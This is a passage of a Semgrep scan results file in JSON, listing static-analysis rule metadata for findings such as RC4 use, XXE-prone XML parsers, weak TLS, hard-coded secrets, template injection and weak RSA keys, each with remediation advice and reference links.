attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","id":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","name":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc4.use-of-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","id":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","name":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"help":{"markdown":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director)\n - [https://github.com/golang/go/issues/50580](https://github.com/golang/go/issues/50580)\n","text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"helpUri":"https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director","id":"go.lang.security.reverseproxy-director.reverseproxy-director","name":"go.lang.security.reverseproxy-director.reverseproxy-director","properties":{"precision":"very-high","tags":["CWE-115: Misinterpretation of Input","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.reverseproxy-director.reverseproxy-director"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"help":{"markdown":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","id":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","name":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"help":{"markdown":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","id":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","name":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","properties":{"precision":"very-high","tags":["CWE-114: Process Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"certificate verification explicitly disabled, insecure connections possible"},"help":{"markdown":"certificate verification explicitly disabled, insecure connections possible\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"certificate verification explicitly disabled, insecure connections possible"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","id":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","name":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square Access Token detected"},"help":{"markdown":"Square Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Square Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token","id":"generic.secrets.security.detected-square-access-token.detected-square-access-token","name":"generic.secrets.security.detected-square-access-token.detected-square-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-square-access-token.detected-square-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe","id":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","name":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","id":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","name":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","id":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","name":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","id":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","name":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"help":{"markdown":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","id":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","name":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","properties":{"precision":"very-high","tags":["CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-insecure-template-usage.express-insecure-template-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST 